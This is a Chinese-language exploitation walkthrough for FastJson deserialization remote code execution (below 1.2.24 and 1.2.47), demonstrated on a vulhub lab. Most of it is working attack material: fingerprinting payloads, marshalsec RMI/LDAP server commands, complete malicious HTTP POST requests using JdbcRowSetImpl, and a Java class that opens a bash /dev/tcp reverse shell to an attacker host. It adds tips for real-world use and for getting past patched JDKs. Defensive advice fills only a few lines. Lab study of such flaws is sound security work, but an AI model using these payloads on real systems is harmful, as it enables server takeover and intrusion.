文章目錄
一、fastjson 1.2.24反序列化漏洞
1.1 漏洞簡介
1.1.1 漏洞闡述
FastJson是alibaba開源的一款開源的高性能的JSON庫,用於將java對象轉換爲json形式,也可以用來將json轉換爲java對象,很多公司都在使用,於2017年4月18號爆出存在此漏洞。
- https://github.com/alibaba/fastjson
1.1.2 影響版本
- FastJson < 1.2.24
1.1.3 漏洞原理
fastjson在解析json過程中,支持使用autoType來實例化某一個具體的類,並通過json來填充其屬性值。而JDK自帶的類com.sun.org.apache.xalan.internal.xsltc.trax.Templateslmpl中有一個私有屬性 _bytecodes,其部分方法會執行這個值中包含的Java字節碼。
1.1.4 指紋特徵
A. 有回顯
通過構造錯誤的POST請求體,服務器返回報錯中查看是否存在fastjson字樣
正常請求如下,是get的請求且沒有請求體,我們通過構造錯誤的POST請求即可查看返回包中有解析失敗,fastjson字樣:
B. 無回顯
(方法一:通過DOS延遲方式)
fastjson在版本<1.2.60在取不到值的時候會填充\u001a,發生DOS,我們可以構造請求,通過響應延遲來判斷是否使用的fastjson
》》無構造的正常請求返回時間,28ms(這裏Fiddler演示,Burp可以通過Repeater模塊右下方觀察)
》》構造錯誤的POST請求體返回時間,15ms(可見隨意的錯誤請求不奏效)
》》通過 {“a”:"\x 觸發DOS,585ms,和正常的和錯誤的請求響應時間差太多,由此來判斷使用了fastjson解析器
(方法二:通過DNS回顯方式)
通過DNS回顯的方式檢測後端是否使用的fastjson
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0
C. 小技巧
如何判斷使用的Fastjson還是Jackson?
Jackson相對比較嚴格,強制key和javabean屬性對齊,只能少不能多key
》》fastjson多key不會報錯,我們可以多構造一個,因此大概率判斷爲fastjson(沒有其它json解析庫的情況下)
1.1.5 限制條件
要想使用Templateslmpl的_bytecodes屬性執行任意命令,條件:
- 站點使用fastjson庫解析json
- 解析時設置了Feature.SupoortNonPublicField(否則不支持傳入私有屬性)
- 目標jdk中存在Templateslmpl類(不排除其它不需要Templateslmpl的利用方法)
1.2 環境搭建
- 受害者IP:192.168.159.129(vulhub、docker)
- 攻擊者IP:192.168.123.192(marshalsec、nc、web服務)
》》在如下目錄下啓動靶機
》》拉起靶機環境
》》查看端口服務
》》瀏覽器訪問目的地址(如下搭建成功)
1.3 漏洞利用
1.3.1 利用準備
A. RMI/LDAP服務器準備
Tips:實戰環境中建議使用LDAP協議
》》下載marshalsec項目
git clone https://github.com/mbechler/marshalsec.git
》》安裝配置mvn(略)
》》進入marshalsec目錄,使用mvn編譯msrshalsec的jar包
(編譯完成)
(編譯完成生成的文件)
B. POC/EXP編譯構造
》》IDEA中新建一個項目
》》選擇java項目
》》點擊下一步
》》創建項目名稱和位置
》》項目目錄下創建一個文件夾,命名src
》》src目錄下新建一個java文件(根據exp操作命名,這裏是TouchFile[目的是目標主機上創建一個文件])
》》TouchFile類如下:(commands中存放執行的命令)
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
(編譯生成class文件,方法一)
》》使用javac將java文件編譯成class文件
(編譯生成class文件,方法二)
》》項目目錄下再次創建output目錄(存放編譯生成的class文件)
》》設置編譯路徑
》》運行編譯TouchFile文件
》》便會在output中生成class文件
C Web服務器準備
》》啓動一個web服務,將惡意的class文件放入站點的主目錄(www目錄,這裏使用的phpstudy創建的web服務)
1.3.2 漏洞利用一(執行命令)
》》打開命令行窗口:使用marshalsec項目,啓動一個RMI服務器,監聽9999端口並定製加載遠程類)
Tips:實戰環境中建議使用LDAP協議
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.123.192/#Exploit" 9999
(已經開始監聽9999端口)
注意上邊的#
- 攻擊請求包構造 / 發送攻擊載荷(方式一)
》》抓取GET請求數據包,將GET請求通過Fiddler(其它抓包工具也可以)改爲POST請求,並在請求體中添加如下json數據,dataSourceName的值中指定rmi服務器的地址
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.123.192:9999/TouchFile",
"autoCommit":true
}
}
(HTTP狀態碼返回 500)
Tips:
如果沒成功可以嘗試在請求頭中指定MIME類型爲json:
Content-Type: application/json
流量攻擊流程:
請求數據包將請求體中的json數據傳給受害服務器,受害服務器會將請求重定向到攻擊者的RMI服務器,RMI服務器從監聽的9999端口中加載遠程類TouchFile並重定向到web服務器,fastjson將下載TouchFile,解析運行。
- 攻擊請求包構造 / 發送攻擊載荷(方式二)
》》直接向服務器發送構造的如下數據
POST / HTTP/1.1
Host: 192.168.159.129:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.123.192:9999/TouchFile",
"autoCommit":true
}
}
Tips:注意修改上邊的HOST地址和rmi地址
》》可以看到RMI服務器成功傳值到受害者服務器
》》成功在受害者服務器中執行命令
1.3.3 漏洞利用二(反彈shell)
》》編譯生成的class java文件的類如下(exec中爲反彈連接的shell地址):
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.123.192/19111 0>&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
Tips:這裏反彈shell的端口儘量不要指定8888、8080等常用web端口
》》將編譯生成的Exploit.class文件放入web服務器主目錄
》》事先準備好兩個命令行窗口
》》窗口一:nc監聽19111端口
》》窗口二:啓動RMI服務監聽9999端口
》》構造併發送數據包到目標服務器
POST / HTTP/1.1
Host: 192.168.159.129:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.123.192:9999/Exploit",
"autoCommit":true
}
}
》》成功接到shell
1.4 防禦建議
- 將fastjson升級到最新版本
- 升級JDK版本到 11.0.1 / 6u211 / 7u201 / 8u191
官方補丁中將loadClass替換爲了config.checkAutoType(typeName),並且擴充了黑名單列表,將傳入的類名和黑名單中一一比較,如果發現了相同的開頭就停止反序列化。
二、fastjson 1.2.47反序列化漏洞
2.1 漏洞簡介
fastjson提供了autotype功能,允許用戶在反序列化數據中通過“@type"指定反序列化的類型。其次,fastjson自定義的反序列化機制時會調用指定類中的setter方法和部分getter方法。因此,當組件開啓了autotype功能並且反序列化不可信數據時,便可構造惡意序列化的數據,使代碼執行流程進入特定類的特定setter或者getter方法中,如果指定類的指定方法中有可以被利用的邏輯(通常說的“Gadget”)則會造成安全問題。fastjson 1.2.47以下版本中,利用緩存機制可以對未開啓autotype功能繞過。
2.2 影響版本
- fastjson < 1.2.47
2.3 環境搭建
攻擊者:192.168.1.101(win10)
受害者:192.168.159.129(vulhub、docker)
》》進入環境目錄,docker拉起環境
》》瀏覽器訪問目標端口
2.4 攻擊過程
》》啓動一個web服務器,將編譯的class類文件放入主目錄下(TouchFile.class)
》》marshalsec啓動一個RMI/LDAP服務,監聽9999端口,並加載遠程類TouchFile
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.101/#TouchFile" 9999
》》向目標服務器發送構造的攻擊載荷
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.1.101:9999/TouchFile",
"autoCommit":true
}
}
》》成功執行命令
三、注意事項
- 儘量使用和目標服務器相同的jdk版本
- 攻擊者環境:Java 8u201
- 受害者環境:Java 8u102
-
當運行RMI的服務器Java版本過高會無法運行RMI服務,雖然顯示在監聽,但是fastjson的 JNDI會報錯,顯示無法獲取到資源。
-
優先使用LDAP協議
實戰中優先使用LDAP協議進行漏洞利用,原因是:
RMI協議利用方式在JDK 6u132 / 7u122 / 8u113及以上版本中已修復
LDAP協議利用方式在JDK 6u211 / 7u201 / 8u191及以上版本中已修復
且LDAP可以直接返回序列化對象,繞過對方使用的更高版本的JDK限制。
(RMI和LDAP兩種服務協議啓動方式)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.1.101/#TouchFile” <port>
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://IP/#Exploit” <port> -
高版本JDK繞過方法
https://www.freebuf.com/column/207439.html
參考文章:
https://blog.csdn.net/w1590191166/article/details/105016535
https://github.com/CaijiOrz/fastjson-1.2.47-RCE
https://cloud.tencent.com/developer/article/1553664